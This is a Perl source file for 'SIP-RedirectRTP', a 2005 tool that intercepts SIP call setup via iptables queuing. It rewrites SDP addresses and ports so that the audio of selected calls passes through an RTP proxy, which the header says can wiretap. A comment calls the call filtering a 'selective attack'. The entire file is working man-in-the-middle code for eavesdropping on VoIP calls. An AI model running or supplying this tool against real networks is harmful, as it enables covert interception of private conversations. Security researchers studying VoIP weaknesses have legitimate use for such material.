#!/usr/bin/perl
# SIP-RedirectRTP 0.1
# Manipulate SIP-signalisation so that the media stream is sent from both
# sides to an RTP-proxy, which forwards the stream to the other side and
# does additional things like wiretapping.
# The manipulation is done through iptables userspace queuing, so this
# only runs under linux.
#
# Copyright (C) 2005 Thomas Skora
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# WARNING:
# There exist many buggy NetPacket::IP installations, where the IP checksum
# is not correctly calculated!!!
#
# Changelog:
# 0.1: first release
#
# TODO:
# - Signalisation with RTP proxy blocks program. It should fork when it goes
#   into proxy_* subs.
# - Responses aren't matched to requests, there could appear race conditions
#   under *very* heavy load situations.

use Getopt::Std;
use NetPacket::IP;
use NetPacket::UDP;
use IPTables::IPv4::IPQueue qw(:constants);
use Net::DNS;
use IO::Socket;
use IO::Select;


$defaultrtpproxysigport = 64120;
$udp_maxlength = 1400;
$udp_inittimeout = 0.5;
$udp_maxretries = 5;


sub HELP_MESSAGE {
  print <<EOH
  Usage: sip-redirectrtp [options] [From-Pattern] [To-Pattern] [Request-URI-Pattern]

 -v                Be more verbose.
 -o                One pattern (OR-behaviour) instead of all (AND) must match.
 -p<addr>[:<port>] Adress of RTP-proxy (mandatory) and optional signalisation
                   port.
 -a                also manipulate IP in the SDP-origin-line.

 The patterns are perl-flavoured regular expressions which are corresponding
 to the given headers. If one attribute should be ignored, use . (point) as
 pattern.
EOH
}


sub verbose {
  if ($opt_v) {
    print $_[0];
  }
}


sub proxy_send {		# send UDP message to proxy with retries
  my ($msg) = @_;
  my @ready;
  my $count = $udp_maxretries;
  my $udp_timeout = $udp_inittimeout;

  while (@ready == 0 && $count > 0) {
#    print "trying\n";
    $rtpproxy->send($msg);
    @ready = $rtpsel->can_read($udp_timeout);
    $count--;
    $udp_timeout *= 2;
  }

#  print "count=$count, a=".@ready."\n";
  return $count;
}


sub proxy_register {		# register to a RTP proxy
  my ($ip, $port) = @_;

  verbose "Register at RTP-proxy $proxy_ip:$proxy_port...\n";
  $rtpproxy = IO::Socket::INET->new( # connect signalisation to RTP proxy
				    Proto    => "udp",
				    PeerAddr => "$ip",
				    PeerPort => "$port"
				   ) or die "Cannot create UDP socket: $@";
  $rtpproxy->autoflush(1);	# shouldn't needed any more since TCP and new IO::-stuff, but who cares...
  $rtpsel = IO::Select->new($rtpproxy);

  proxy_send("REGISTER\n") > 0 or die "RTP proxy never answers!";

  $rtpproxy->recv(my $response, $udp_maxlength);
  $response =~ /^OK/i or die "Cannot register to RTP proxy!";
  ($proxy_rtpport) = ($response =~ /^rtpport=([0-9]+)/m); # get media port
  verbose "Proxy RTP port is $proxy_rtpport\n";
}


sub proxy_announce {		# announce a RTP session to the proxy.
  my ($callid, $session) = @_;

  my $msg = <<EOT;
ANNOUNCE
callid=$callid
from=$$session{fromip}:$$session{fromport}
to=$$session{toip}:$$session{toport}
EOT
  proxy_send($msg) or print "Can't announce RTP session, proxy never answers!\n";

  $rtpproxy->recv(my $response, $udp_maxlength);
  $response =~ /^OK/ or print "Error from RTP proxy: $response\n";	# something gone wrong with the RTP proxy
}


sub proxy_discard {		# announce a RTP session to the proxy.
  my ($callid) = @_;

  my $msg = <<EOT;
DISCARD
callid=$callid
EOT
  proxy_send($msg) or print "Can't discard RTP session, proxy never answers!\n";

  $rtpproxy->recv(my $response, $udp_maxlength);
  $response =~ /^OK/ or print "Error from RTP proxy: $response\n";	# something gone wrong with the RTP proxy
}


sub process_queue {		# fetch incoming packets from queue and process them
  my $msg = $ipq->get_message() or die IPTables::IPv4::IPQueue->errstr;

  # debugging stuff
  #  print "Packet-ID=".$msg->packet_id().", mark=".$msg->mark().", timestamp=".$msg->timestamp_sec().".".$msg->timestamp_usec().", hook=".$msg->hook().", data_len=".$msg->data_len."\n".$msg->payload()."\n";

  # the following code assumes that the packets are already filtered with appropriate iptables-rules
  my $pkt = $msg->payload();
  my $ip_pkt = NetPacket::IP->decode($pkt);
  my $udp_pkt = NetPacket::UDP->decode($ip_pkt->{data});
  my $sip_pkt = $udp_pkt->{data};

  # some preprocessing for displaying, must later be undone!!!
  $sip_pkt =~ s/\r//g;
  @sip_pkt = split /\n/, $sip_pkt;

  verbose "From $ip_pkt->{src_ip}:$udp_pkt->{src_port} to $ip_pkt->{dest_ip}:$udp_pkt->{dest_port}: $sip_pkt[0]\n";

  if ($sip_pkt[0] =~ /^INVITE/) { # received INVITE
  # selective attack
    if (!defined $opt_o && !(($sip_pkt =~ /^From:.*$frompat/mi) && ($sip_pkt =~ /^To:.*$topat/mi) && ($sip_pkt =~ /^INVITE.*$reqpat/mi))) {
      if ($opt_v) { print "not matching\n" }
      return
    }
    if (defined $opt_o && !(($sip_pkt =~ /^From:.*$frompat/mi) || ($sip_pkt =~ /^To:.*$topat/mi) || ($sip_pkt =~ /^INVITE.*$reqpat/mi))) {
      if ($opt_v) { print "not matching\n" }
      return
    }

    my ($callid) = ($sip_pkt =~ /^Call-Id:[ ]*([^ ]+$)/mi); # Call-Id is used to identify sessions
    ($session{$callid}{fromip}) = ($sip_pkt =~ /^c=[ ]*IN[ ]+IP4[ ]+([0-9\.]+)$/m); # take connection data from SDP
    ($session{$callid}{fromport}) = ($sip_pkt =~ (/^m=[ ]*audio[ ]+([0-9]+)/m));
    $session{$callid}{state} = 1; # State 1: received INVITE, saved first ip:port pair

    if (defined $opt_a) { $sip_pkt =~ s/^(o=.*IN[ ]+IP4[ ]+)[0-9\.]+/$1$proxy_ip/mg; }
    $sip_pkt =~ s/^(c=IN[ ]+IP4[ ]+)[0-9\.]+/$1$proxy_ip/mg;
    $sip_pkt =~ s/^(m=[ ]*audio[ ]+)[0-9]+/$1$proxy_rtpport/mg;
    verbose "Packet manipulated.\n";

    $sip_pkt =~ s/\n/\r\n/g;	# undo preprocessing
    $udp_pkt->{data} = $sip_pkt; # rebuild ip-packet
    $ip_pkt->{data} = $udp_pkt->encode($ip_pkt);
    $pkt = $ip_pkt->encode();
    $ipq->set_verdict($msg->packet_id, NF_ACCEPT, length $pkt, $pkt) or die IPTables::IPv4::IPQueue->errstr;

    return
  } elsif ($sip_pkt[0] =~ /^SIP\/[0-9\.]+[ ]+2[0-9]{2}/) { # 2xx answer received
    my ($callid) = ($sip_pkt =~ /^Call-Id:[ ]*([^ ]+$)/mi); # Call-Id is used to identify sessions
    defined $session{$callid} or goto accept_pkt; # unknown Call-Id
    $session{$callid}{state} >= 1 or goto accept_pkt; # if no previous INVITE was received, this makes no sense
    ($session{$callid}{toip}) = ($sip_pkt =~ /^c=[ ]*IN[ ]+IP4[ ]+([0-9\.]+)$/m); # take connection data from SDP
    ($session{$callid}{toport}) = ($sip_pkt =~ (/^m=[ ]*audio[ ]+([0-9]+)/m));
    $session{$callid}{state} = 2; # State 2: received INVITE, saved second ip:port pair

    # first manipulate packet and return it to the kernelspace to keep latencies as low as possible
    if (defined $opt_a) { $sip_pkt =~ s/^(o=.*IN[ ]+IP4[ ]+)[0-9\.]+/$1$proxy_ip/mg; }
    $sip_pkt =~ s/^(c=IN[ ]+IP4[ ]+)[0-9\.]+/$1$proxy_ip/mg;
    $sip_pkt =~ s/^(m=[ ]*audio[ ]+)[0-9]+/$1$proxy_rtpport/mg;
    verbose "Packet manipulated.\n";

    $sip_pkt =~ s/\n/\r\n/g;	# undo preprocessing
    $udp_pkt->{data} = $sip_pkt; # rebuild ip-packet
    $ip_pkt->{data} = $udp_pkt->encode($ip_pkt);
    $pkt = $ip_pkt->encode();
    $ipq->set_verdict($msg->packet_id, NF_ACCEPT, length $pkt, $pkt) or die IPTables::IPv4::IPQueue->errstr;

    # now signalisation to RTP-proxy can follow.
    proxy_announce($callid, $session{$callid});
    return
  } elsif ($sip_pkt[0] =~ /^BYE/) { # BYE-reuqest received
    my ($callid) = ($sip_pkt =~ /^Call-Id:[ ]*([^ ]+$)/mi); # Call-Id is used to identify sessions

    $ipq->set_verdict($msg->packet_id, NF_ACCEPT) or die IPTables::IPv4::IPQueue->errstr; # just accept this packet...
    proxy_discard($callid);	# ...and say the proxy that the RTP session is ending
    undef $session{$callid};	# remove ended session from hash.

    return
  }

 accept_pkt:
  $ipq->set_verdict($msg->packet_id, NF_ACCEPT) or die IPTables::IPv4::IPQueue->errstr;	# accept all other SIP-traffic
}


$Getopt::Std::STANDARD_HELP_VERSION = 1;
getopts('avop:');

if (defined $opt_p) {		# extract address and port
  $opt_p =~ /^([^:]+)(?::([0-9]*))?/;
  $proxy_addr = $1;
  $proxy_port = (defined $2 ? $2 :$defaultrtpproxysigport);
  $proxy_rtpport = $proxy_port + 1; # TODO: should be signalled by proxy

  if ($proxy_addr =~ /^(?:[0-9]+\.)+[0-9]+$/) { # address given as ip?
    $proxy_ip = $proxy_addr;
    verbose "Use $proxy_ip as proxy.\n";
  } else {			# if not then resolve
    verbose "Resolving $proxy_addr...";
    my $res = Net::DNS::Resolver->new;
    my $q = $res->search($proxy_addr);
    foreach my $rr ($q->answer) {
      next unless $rr->type eq 'A';
      $proxy_ip = $rr->address;
      verbose "$proxy_ip\n";
      last;			# get first A record as ip.
    }
  }
} else {
  print "No proxy given with -p!\n";
  exit 1;
}

proxy_register($proxy_ip, $proxy_port);

if (!defined $opt_v) {$opt_v = 0} # just kill the warning of one usage ;-)
if (!defined $opt_a) {$opt_a = 0} # just kill the warning of one usage ;-)

$frompat = $ARGV[0] || "";
$topat = $ARGV[1] || "";
$reqpat = $ARGV[2] || "";

$ipq = new IPTables::IPv4::IPQueue(copy_mode => IPQ_COPY_PACKET, copy_range => 65534) or die IPTables::IPv4::IPQueue->errstr;
while (1) {
  process_queue();
}
$ipq->close()